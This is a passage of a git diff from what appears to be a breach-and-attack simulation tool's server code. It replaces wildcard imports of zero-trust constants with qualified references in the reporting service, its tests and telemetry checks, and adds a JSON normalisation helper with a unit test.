zero_trust_consts.STATUS_VERIFY, "tests": [ { - "status": STATUS_VERIFY, - "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_VERIFY, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, ], - PEOPLE: [ + zero_trust_consts.PEOPLE: [ { - "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], - "status": STATUS_VERIFY, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], + "status": zero_trust_consts.STATUS_VERIFY, "tests": [ { - "status": STATUS_VERIFY, - "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_VERIFY, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] } ], - VISIBILITY_ANALYTICS: [ + zero_trust_consts.VISIBILITY_ANALYTICS: [ { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, { - "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": STATUS_UNEXECUTED, + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, "tests": [ { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ + zero_trust_consts.TEST_EXPLANATION_KEY] } ] }, ], - WORKLOADS: [] + zero_trust_consts.WORKLOADS: [] } def save_example_findings(): # arrange - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, + []) # devices passed = 1 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, + []) # devices passed = 2 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED, + []) # devices failed = 1 # devices unexecuted = 1 # people verify = 1 # networks verify = 1 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) # people verify = 2 # networks verify = 2 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) # data failed 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 3 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 4 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 5 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data verify 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) # data verify 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) # data passed 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_PASSED, []) class TestZeroTrustService(IslandTestCase): @@ -186,52 +203,52 @@ class TestZeroTrustService(IslandTestCase): expected = [ { - STATUS_FAILED: 5, - STATUS_VERIFY: 2, - STATUS_PASSED: 1, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 1, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "Data" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 2, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "People" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 2, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 4, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 4, "pillar": "Networks" }, { - STATUS_FAILED: 1, - STATUS_VERIFY: 0, - STATUS_PASSED: 2, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 1, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 2, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "Devices" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0, "pillar": "Workloads" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 3, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 3, "pillar": "Visibility & Analytics" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0, "pillar": "Automation & Orchestration" } ] @@ -274,13 +291,13 @@ class TestZeroTrustService(IslandTestCase): self.maxDiff = None expected = { - AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, - DEVICES: STATUS_UNEXECUTED, - NETWORKS: STATUS_UNEXECUTED, - PEOPLE: STATUS_UNEXECUTED, - VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, - WORKLOADS: STATUS_UNEXECUTED, - DATA: STATUS_UNEXECUTED + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED } self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) @@ -288,20 +305,20 @@ class TestZeroTrustService(IslandTestCase): save_example_findings() expected = { - AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, - DEVICES: STATUS_FAILED, - NETWORKS: STATUS_VERIFY, - PEOPLE: STATUS_VERIFY, - VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, - WORKLOADS: STATUS_UNEXECUTED, - DATA: STATUS_FAILED + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED } self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) def compare_lists_no_order(s, t): - t = list(t) # make a mutable copy + t = list(t) # make a mutable copy try: for elem in s: t.remove(elem) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 04f661b28..9937c0b6d 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -1,5 +1,7 @@ import json -from common.data.zero_trust_consts import * + +import common.data.zero_trust_consts as zero_trust_consts + from monkey_island.cc.models.zero_trust.finding import Finding @@ -7,7 +9,7 @@ class ZeroTrustService(object): @staticmethod def get_pillars_grades(): pillars_grades = [] - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar)) return pillars_grades @@ -16,13 +18,13 @@ class ZeroTrustService(object): all_findings = Finding.objects() pillar_grade = { "pillar": pillar, - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0 + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0 } - tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] test_unexecuted = {} for test in tests_of_this_pillar: @@ -30,11 +32,11 @@ class ZeroTrustService(object): for finding in all_findings: test_unexecuted[finding.test] = False - test_info = TESTS_MAP[finding.test] - if pillar in test_info[PILLARS_KEY]: + test_info = zero_trust_consts.TESTS_MAP[finding.test] + if pillar in test_info[zero_trust_consts.PILLARS_KEY]: pillar_grade[finding.status] += 1 - pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition) + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition) return pillar_grade @@ -43,14 +45,14 @@ class ZeroTrustService(object): all_principles_statuses = {} # init with empty lists - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: all_principles_statuses[pillar] = [] - for principle, principle_tests in list(PRINCIPLES_TO_TESTS.items()): - for pillar in PRINCIPLES_TO_PILLARS[principle]: + for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): + for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: all_principles_statuses[pillar].append( { - "principle": PRINCIPLES[principle], + "principle": zero_trust_consts.PRINCIPLES[principle], "tests": ZeroTrustService.__get_tests_status(principle_tests), "status": ZeroTrustService.__get_principle_status(principle_tests) } @@ -60,13 +62,13 @@ class ZeroTrustService(object): @staticmethod def __get_principle_status(principle_tests): - worst_status = STATUS_UNEXECUTED + worst_status = zero_trust_consts.STATUS_UNEXECUTED all_statuses = set() for test in principle_tests: all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: - if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status return worst_status @@ -78,7 +80,7 @@ class ZeroTrustService(object): test_findings = Finding.objects(test=test) results.append( { - "test": TESTS_MAP[test][TEST_EXPLANATION_KEY], + "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) } ) @@ -91,9 +93,9 @@ class ZeroTrustService(object): :return: the "worst" (i.e. most severe) status out of the given findings. lcd stands for lowest common denominator. """ - current_worst_status = STATUS_UNEXECUTED + current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: - if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status return current_worst_status @@ -106,11 +108,11 @@ class ZeroTrustService(object): @staticmethod def __get_enriched_finding(finding): - test_info = TESTS_MAP[finding.test] + test_info = zero_trust_consts.TESTS_MAP[finding.test] enriched_finding = { - "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], + "test": test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], "test_key": finding.test, - "pillars": test_info[PILLARS_KEY], + "pillars": test_info[zero_trust_consts.PILLARS_KEY], "status": finding.status, "events": ZeroTrustService.__get_events_as_dict(finding.events) } @@ -123,12 +125,12 @@ class ZeroTrustService(object): @staticmethod def get_statuses_to_pillars(): results = { - STATUS_FAILED: [], - STATUS_VERIFY: [], - STATUS_PASSED: [], - STATUS_UNEXECUTED: [] + zero_trust_consts.STATUS_FAILED: [], + zero_trust_consts.STATUS_VERIFY: [], + zero_trust_consts.STATUS_PASSED: [], + zero_trust_consts.STATUS_UNEXECUTED: [] } - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) return results @@ -136,7 +138,7 @@ class ZeroTrustService(object): @staticmethod def get_pillars_to_statuses(): results = {} - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) return results @@ -144,7 +146,7 @@ class ZeroTrustService(object): @staticmethod def __get_status_of_single_pillar(pillar): grade = ZeroTrustService.__get_pillar_grade(pillar) - for status in ORDERED_TEST_STATUSES: + for status in zero_trust_consts.ORDERED_TEST_STATUSES: if grade[status] > 0: return status - return STATUS_UNEXECUTED + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/representations.py b/monkey/monkey_island/cc/services/representations.py new file mode 100644 index 000000000..cd804db50 --- /dev/null +++ b/monkey/monkey_island/cc/services/representations.py @@ -0,0 +1,31 @@ +from datetime import datetime + +import bson +from bson.json_util import dumps +from flask import make_response + + +def normalize_obj(obj): + if ('_id' in obj) and ('id' not in obj): + obj['id'] = obj['_id'] + del obj['_id'] + + for key, value in list(obj.items()): + if isinstance(value, bson.objectid.ObjectId): + obj[key] = str(value) + if isinstance(value, datetime): + obj[key] = str(value) + if isinstance(value, dict): + obj[key] = normalize_obj(value) + if isinstance(value, list): + for i in range(0, len(value)): + if isinstance(value[i], dict): + value[i] = normalize_obj(value[i]) + return obj + + +def output_json(obj, code, headers=None): + obj = normalize_obj(obj) + resp = make_response(dumps(obj), code) + resp.headers.extend(headers or {}) + return resp diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py new file mode 100644 index 000000000..d6c7f99d7 --- /dev/null +++ b/monkey/monkey_island/cc/services/representations_test.py @@ -0,0 +1,53 @@ +from unittest import TestCase +from datetime import datetime +from monkey_island.cc.services.representations import normalize_obj + +import bson + + +class TestJsonRepresentations(TestCase): + def test_normalize_obj(self): + # empty + self.assertEqual({}, normalize_obj({})) + + # no special content + self.assertEqual( + {"a": "a"}, + normalize_obj({"a": "a"}) + ) + + # _id field -> id field + self.assertEqual( + {"id": 12345}, + normalize_obj({"_id": 12345}) + ) + + # obj id field -> str + obj_id_str = "123456789012345678901234" + self.assertEqual( + {"id": obj_id_str}, + normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) + ) + + # datetime -> str + dt = datetime.now() + expected = {"a": str(dt)} + result = normalize_obj({"a": dt}) + self.assertEqual(expected, result) + + # dicts and lists + self.assertEqual({ + "a": [ + {"ba": obj_id_str, + "bb": obj_id_str} + ], + "b": {"id": obj_id_str} + }, + normalize_obj({ + "a": [ + {"ba": bson.objectid.ObjectId(obj_id_str), + "bb": bson.objectid.ObjectId(obj_id_str)} + ], + "b": {"_id": bson.objectid.ObjectId(obj_id_str)} + }) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py index 966877967..e69de29bb 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py @@ -1,7 +0,0 @@ -# import all implemented hooks, for brevity of hooks.py file -from .tunnel import process_tunnel_telemetry -from .state import process_state_telemetry -from .exploit import process_exploit_telemetry -from .scan import process_scan_telemetry -from .system_info import process_system_info_telemetry -from .post_breach import process_post_breach_telemetry diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index c64849905..e6ac8734b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,5 +1,5 @@ +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo -from common.data.post_breach_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication @@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json): post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) - diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 36f75fdbd..f6ddcd970 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,6 +1,7 @@ import logging -from monkey_island.cc.services.telemetry.processing import * +from monkey_island.cc.services.telemetry.processing import process_tunnel_telemetry, process_state_telemetry, \ + process_exploit_telemetry, process_scan_telemetry, process_system_info_telemetry, process_post_breach_telemetry logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index db5b6445d..ddc1af65b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,7 +1,6 @@ import json -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ - STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event @@ -14,7 +13,7 @@ def test_antivirus_existence(telemetry_json): process_list_event = Event.create_event( title="Process list", message="Monkey on {} scanned the process list".format(current_monkey.hostname), - event_type=EVENT_TYPE_MONKEY_LOCAL) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL) events = [process_list_event] av_processes = filter_av_processes(telemetry_json) @@ -24,15 +23,15 @@ def test_antivirus_existence(telemetry_json): title="Found AV process", message="The process '{}' was recognized as an Anti Virus process. Process " "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=EVENT_TYPE_MONKEY_LOCAL + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL )) if len(av_processes) > 0: - test_status = STATUS_PASSED + test_status = zero_trust_consts.STATUS_PASSED else: - test_status = STATUS_FAILED + test_status = zero_trust_consts.STATUS_FAILED AggregateFinding.create_or_add_to_existing( - test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 6c5b1154b..f6af5e4bf 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -1,5 +1,4 @@ -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ - STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event @@ -10,9 +9,9 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( - test=TEST_COMMUNICATE_AS_NEW_USER, + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, # If the monkey succeeded to create a user, then the test failed. - status=STATUS_FAILED if success else STATUS_PASSED, + status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, events=[ get_attempt_event(current_monkey), get_result_event(current_monkey, message, success) @@ -24,7 +23,7 @@ def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), - event_type=EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) return tried_to_communicate_event @@ -34,4 +33,4 @@ def get_result_event(current_monkey, message, success): return Event.create_event( title="Communicate as new user", message=message_format.format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index b4e0bb4ec..d7b447e4a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,7 +1,7 @@ import json from common.data.network_consts import ES_SERVICE -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -12,8 +12,8 @@ HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] def test_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - found_http_server_status = STATUS_PASSED - found_elastic_search_server = STATUS_PASSED + found_http_server_status = zero_trust_consts.STATUS_PASSED + found_elastic_search_server = zero_trust_consts.STATUS_PASSED events = [ Event.create_event( @@ -21,7 +21,7 @@ def test_open_data_endpoints(telemetry_json): message="Monkey on {} tried to perform a network scan, the target was {}.".format( current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"]), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=telemetry_json["timestamp"] ) ] @@ -30,10 +30,10 @@ def test_open_data_endpoints(telemetry_json): events.append(Event.create_event( title="Scan telemetry analysis", message="Scanned service: {}.".format(service_name), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) if service_name in HTTP_SERVERS_SERVICES_NAMES: - found_http_server_status = STATUS_FAILED + found_http_server_status = zero_trust_consts.STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( @@ -41,10 +41,10 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) if service_name == ES_SERVICE: - found_elastic_search_server = STATUS_FAILED + found_elastic_search_server = zero_trust_consts.STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( @@ -52,17 +52,17 @@ def test_open_data_endpoints(telemetry_json): 